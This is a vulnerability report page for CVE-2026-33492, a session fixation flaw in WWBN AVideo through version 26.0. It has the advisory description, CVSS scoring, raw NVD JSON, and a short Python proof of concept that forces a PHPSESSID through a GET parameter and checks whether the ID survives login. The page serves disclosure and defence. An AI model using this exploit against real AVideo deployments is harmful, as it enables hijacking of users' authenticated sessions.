Security Vulnerability Report
中文
CVE-2026-33492 CVSS 7.3 HIGH

CVE-2026-33492

Published: 2026-03-23 16:16:49
Last Modified: 2026-03-24 17:47:59

Description

WWBN AVideo is an open source video platform. In versions up to and including 26.0, AVideo's `_session_start()` function accepts arbitrary session IDs via the `PHPSESSID` GET parameter and sets them as the active PHP session. A session regeneration bypass exists for specific blacklisted endpoints when the request originates from the same domain. Combined with the explicitly disabled session regeneration in `User::login()`, this allows a classic session fixation attack where an attacker can fix a victim's session ID before authentication and then hijack the authenticated session. Commit 5647a94d79bf69a972a86653fe02144079948785 contains a patch.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:* - VULNERABLE
WWBN AVideo <= 26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-33492 - Session Fixation in WWBN AVideo import requests def exploit_session_fixation(target_url, username, password): s = requests.Session() # Step 1: Attacker forces a session ID via GET parameter fixed_session_id = "pwned_session_id_12345" print(f"[*] Attempting to fix session ID to: {fixed_session_id}") # Victim visits a link with the PHPSESSID parameter initial_response = s.get(f"{target_url}?PHPSESSID={fixed_session_id}") # Step 2: Victim logs in (Simulated) # In the vulnerable version, the session ID is NOT regenerated after login login_data = { 'user': username, 'pass': password, 'AVideoSessionRecovery': 'login' } print("[*] Simulating victim login...") login_response = s.post(target_url, data=login_data) # Step 3: Verify if the session is still the fixed one current_cookies = s.cookies.get_dict() if 'PHPSESSID' in current_cookies and current_cookies['PHPSESSID'] == fixed_session_id: print("[+] Success! Session ID was not regenerated after login.") print("[+] Attacker can now hijack the session using ID:", fixed_session_id) return True else: print("[-] Failed. Session ID might have been regenerated or login failed.") return False # Usage # exploit_session_fixation("http://localhost/avideo/login.php", "admin", "password")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33492", "sourceIdentifier": "[email protected]", "published": "2026-03-23T16:16:49.257", "lastModified": "2026-03-24T17:47:58.820", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, AVideo's `_session_start()` function accepts arbitrary session IDs via the `PHPSESSID` GET parameter and sets them as the active PHP session. A session regeneration bypass exists for specific blacklisted endpoints when the request originates from the same domain. Combined with the explicitly disabled session regeneration in `User::login()`, this allows a classic session fixation attack where an attacker can fix a victim's session ID before authentication and then hijack the authenticated session. Commit 5647a94d79bf69a972a86653fe02144079948785 contains a patch."}, {"lang": "es", "value": "WWBN AVideo es una plataforma de video de código abierto. En versiones hasta la 26.0 inclusive, la función '_session_start()' de AVideo acepta IDs de sesión arbitrarios a través del parámetro GET 'PHPSESSID' y los establece como la sesión PHP activa. Existe un bypass de regeneración de sesión para endpoints específicos en la lista negra cuando la solicitud se origina desde el mismo dominio. Combinado con la regeneración de sesión explícitamente deshabilitada en 'User::login()', esto permite un ataque clásico de fijación de sesión donde un atacante puede fijar el ID de sesión de una víctima antes de la autenticación y luego secuestrar la sesión autenticada. El commit 5647a94d79bf69a972a86653fe02144079948785 contiene un parche."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-384"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*", "versionEndIncluding": "26.0", "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588"}]}]}], "references": [{"url": "https://github.com/WWBN/AVideo/commit/5647a94d79bf69a972a86653fe02144079948785", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x3pr-vrhq-vq43", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-x3pr-vrhq-vq43", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}